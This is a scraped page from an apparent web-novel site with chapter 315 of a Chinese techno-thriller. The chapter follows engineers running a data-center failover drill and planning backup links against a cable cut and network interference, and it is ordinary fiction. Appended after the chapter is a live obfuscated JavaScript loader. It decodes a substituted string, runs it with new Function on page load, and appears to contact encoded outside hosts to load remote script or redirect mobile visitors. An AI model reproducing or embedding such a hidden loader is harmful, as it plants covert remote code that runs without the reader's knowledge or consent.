首页
第315章 提前布置「海上数
返回
关灯 护眼:关 字号:小

第315章 提前布置「海上数据计划」

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第二轮全链路演练是在凌晨四点开始的。
    许承没有提前通知任何业务线,只在天机云基础设施组的调度中心里坐定,看了一眼墙上的时钟,然后对操作台前的工程师说了两个字:「切吧。」
    主控屏上,天机云海外节点与国内核心数据中心的连接状态从绿色跳成黄色,再跳成橙色。四十七秒后,所有跨区域研发协同丶设计数据同步丶版本管理系统丶远程验证平台的默认路由,全部从传统海底电缆主路径切换到了海上数据计划的备用架构上。
    切换本身几乎没有感知。
    这是许承最在意的事。真正好的冗余方案,不是在灾难发生时让用户看到一张「我们正在切换」的提示页,而是让灾难发生在技术底层,让业务层什么都感觉不到。
    四十秒后,第一个问题暴露了。
    一个位于南洋的边缘缓存节点在高延迟场景下的数据一致性校验超时,导致该区域的部分版本管理请求回退到了降级模式。不是断线,不是丢数据,但响应时间从正常的两百毫秒爬升到了接近两秒。
    「抓到了。」负责边缘节点调度的工程师没有慌,反而像是松了一口气。
    许承看了一眼日志,没有立刻做判断,只是说:「先跑完,问题记下来,不修。」
    他要用一轮完整的全链路演练,把海上数据计划在当前状态下所有能暴露的问题全部暴露出来。修补丁不急于这一时,但问题清单必须足够全丶足够细丶足够真。
    演练持续了四小时十七分钟。
    在这四小时十七分钟里,海上数据计划的备用架构承受了天机云海外节点与国内核心之间所有关键业务流的真实负载。设计数据同步丶代码仓库交互丶远程验证调度丶AI训练任务的跨区域协同丶以及部分非敏感的用户服务流量,全部被切到了备用路径上。
    暴露出来的问题被一条条记录下来。
    边缘缓存节点的数据一致性策略需要重构,有三个区域的链路冗余在极端高延迟下存在盲区,异步同步的优先级调度算法在某些边界条件下会starvation,两个中间节点的带宽分配策略不够精细,以及在最高压负载场景下,核心研发数据的同步延迟会从正常的两百毫秒放大到一点五秒到三秒之间。
    没有一个问题是致命的。
    但没有一个问题可以被忽略。
    许承在演练结束后,把问题清单从头到尾看了三遍,然后在最上面写了一行字:全部修复,两周内完成第三轮全量演练。
    清晨六点,陈醒到了调度中心。
    他没有看演练报告的文字版本,而是直接让许承把最核心的几个问题点用拓扑图演示了一遍。许承指着图上被标红的几个节点和链路,把问题拆成了三个层级。
    「第一层,边缘侧的数据一致性和优先级调度,这是软体层面的问题,能修。第二层,两个中间节点的链路冗余盲区,需要调整路由策略和备份路径规划,也能修。第三层——目前看下来没有结构性的硬伤,骨架是成立的。」
    陈醒听完,没有评价「好」或「不好」,而是问了一个更本质的问题:「如果对面不只是物理切断海底电缆,还同时对我们海外节点的IP位址段丶域名系统丶甚至云基础设施的底层服务协议进行全面干扰,这套架构还能撑多久?」
    调度中心里安静了一瞬。
    这个问题比许承自己预设的最坏场景还要再深一层。他原来考虑的是「物理链路被切断」的极限情况,而陈醒问的是「对面在链路之外,还从网络基础服务层同时打击」的全面窒息场景。
    许承没有马上回答,而是调出了另一张图。这张图不在原本的海上数据计划方案里,是他自己团队在过去两周里悄悄加的一层冗余。
    「如果发生你说的那种情况,核心研发数据的同步会从『准实时』降级为『异步批次』。带宽会大幅下降,延迟会从秒级变成分钟甚至小时级,但数据不会丢,关键任务不会断。」他指着图上最核心的那几条深蓝色链路,「我们在三个中立区域的边缘节点上部署了独立的域名解析服务和基础网络调度能力,不依赖任何第三方平台。即使海外节点的对外服务全面中断,核心研发协同仍然能通过这条通道维持最低限度的存活。」
    陈醒看着那张图,看了十几秒。
    「再加一层。」他说,「不只要维持最低限度存活,还要在极端情况下具备有限度的对外服务能力。民用级的海外服务可以断,但已经接入天枢生态的开发者丶合作夥伴丶区域协同节点,不能断。」
    许承心里微微一震。
    这意味着海上数据计划的定位要从「研发自救」升级为「生态底线」。不只要保未来科技自己能活下去,还要保那些已经选择站到天枢生态里的人,不至于因为外部风暴而被连根拔起。
    「这条线的资源需要翻倍。」许承没有客气。
    「给。」陈醒说,「从现在起,海上数据计划升为一级特批线,所有资源你直接调用,不走常规审批。」
    许承点头,没有再说谢谢。在这个阶段,谢谢是最没用的东西。
    上午九点,海上数据计划升级的消息开始在核心层扩散。
    不是正式通告,而是通过任务清单的变化丶资源调拨的优先级丶以及各条业务线被要求配合的新一轮接口规范,一点点渗透进每个相关团队的日常节奏里。
    赵静接到的是关于AI训练任务跨区域协同的新要求:在备用架构下,所有涉及敏感数据集的训练任务必须支持断网续训和异步梯度合并,不允许因为链路中断而导致训练任务大面积回滚。
    这意味着小芯的部分训练框架要重写。
    她没有抱怨,只是把任务拆解成了十五个子项,分给了算法工程团队,然后给许承发了一条消息:「训练框架改造需要两周,期间不能打断现有叠代节奏。」
    许承回得很快:「两周给你。第三轮全量演练在三周后,赶得上就赶,赶不上就推迟演练。」
    赵静没有再回。她知道许承不是客气,是海上数据计划现在不允许任何一条线成为短板。
    章宸接到的是关于设计工具链远程协同的新要求:补天的版本管理系统和分布式编译调度必须在备用架构下跑通完整的设计流程,不能因为高延迟或有限带宽而影响晶片设计的主力节奏。
    「补天现在的远程协同本来就在我们自己搭的底板上跑。」章宸对团队说,「切到海上备用架构不是技术问题,是验证问题。我们需要跑一遍全流程,把每一个可能在高延迟下卡住的环节找出来。」
    他把这个任务交给了补天里最年轻的一名架构师,只说了一句:「你来做。三周内跑通。」
    年轻架构师没有问「为什么是我」,只是点了点头。
    林薇那边也收到了配合要求,但追光材料实验的数据体量太大,不可能全部走海上备用架构实时同步。许承的方案是分级处理:核心实验数据多重加密后走最高优先级通道,非关键的辅助数据走异步批次同步,中间过程日志在本地留存,待链路条件恢复后再补传。
    林薇看完方案,只问了一句:「优先级谁定?」
    「你定。」许承说。
    「好。」林薇没有再问。
    中午,周明把海上数据计划升级后的风险边界重新梳理了一遍,加了两条新的红线。第一,备用架构的节点分布必须避开当前已知的所有地缘政治高风险区域,不能把未来科技的命脉放在对面一句话就能掐断的位置上。第二,所有参与海上数据计划建设和运维的人员,必须经过更严格的分层权限和行为审计,不允许出现单点知识垄断或权限过大的情况。
    陈醒看完这两条红线,签了字。
    他知道周明的意思。技术层面的冗余可以做得很漂亮,但人的因素丶权限的因素丶知识的分布,往往是系统在最极端情况下最先断裂的地方。
    下午两点,李明哲把欧陆那边的最新动态带进了陈醒的办公室。
    不是好消息,但也不是坏消息。
    欧陆关于「过度遏制」的讨论在升温,几家主流技术政策媒体同时刊发了质疑全面制裁有效性的分析文章。其中一篇的标题写得很直白:《切断与未来科技的技术联系,欧陆工业将失去什么?》文章没有站队,但提出的问题本身已经说明裂缝在扩大。
    「但对面也在做反制。」李明哲把另一份情报推到桌上,「北洲正在向欧陆关键国家的产业政策部门施压,要求在全面制裁框架出台前就『原则性支持』达成一致。目前反馈不一,北欧方向态度相对松动,中欧方向仍在摇摆。」
    陈醒听完,沉默了几秒。
    「欧陆的裂缝还不够大。」他说,「但够我们喘一口气。」
    李明哲明白他的意思。如果欧陆在全面制裁问题上完全倒向北洲,未来科技的海外生存空间会被压缩到极限。现在裂缝虽然还在,但至少说明对面做不到铁板一块。这一口气,就是未来科技继续往前压的时间窗口。
    傍晚,许承把第二轮演练的问题清单修复进度同步到了陈醒的终端上。十五个问题里,七个已经完成修复,五个正在改,三个需要跨团队协同。他标注了每一条的预计完成时间和责任人,格式乾净到没有任何多余的字。
    陈醒看完,只回了一个字:「好。」
    这个「好」不是满意,而是确认。确认许承在按节奏走,确认海上数据计划没有掉链子,确认这条线还在往前。
    夜里,调度中心的灯还亮着。
    许承没有走,他站在那张拓扑图前,看着那些被重新规划过的链路丶节点丶缓存策略和优先级调度算法,脑子里反覆跑着陈醒今天早上问的那个问题——如果对面不只是物理切断,还同时从网络基础服务层全面干扰,这套架构还能撑多久?
    他承认,今天给出的答案还不够硬。
    「再加一层。」他对自己说,然后在拓扑图上又画了一个新的圈。
    这个圈不在任何现有规划里,是他自己临时起意的构想——一个完全脱离当前所有网络基础设施的丶基于低轨道数据中继的极端备份通道。带宽会极低,延迟会极高,但它能在所有常规网络手段都被切断的情况下,让未来科技最核心丶最不能断的那几根数据神经,还保持着一丝微弱的跳动。
    他没有把这个想法立刻上报,因为技术上还不成熟,成本也会高得离谱。但他决定在第三轮全量演练之前,先把原理验证跑一遍。
    窗外,芯谷的夜灯已经亮成了一片绵密的光海。
    补天区丶追光厂房丶车测线丶天衡5产线丶小芯实验室丶天机云节点群——每一片光区都在为那个正在逼近的风暴做最后的准备。
    而在调度中心里,许承正对着那张拓扑图,一笔一笔地画着那个还只存在于构想中的丶最极端情况下的最后一道防线。
    远处,天际线最后一抹暗红也沉了下去。
    全球科技风暴前夜,正在一秒一秒地逼近。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();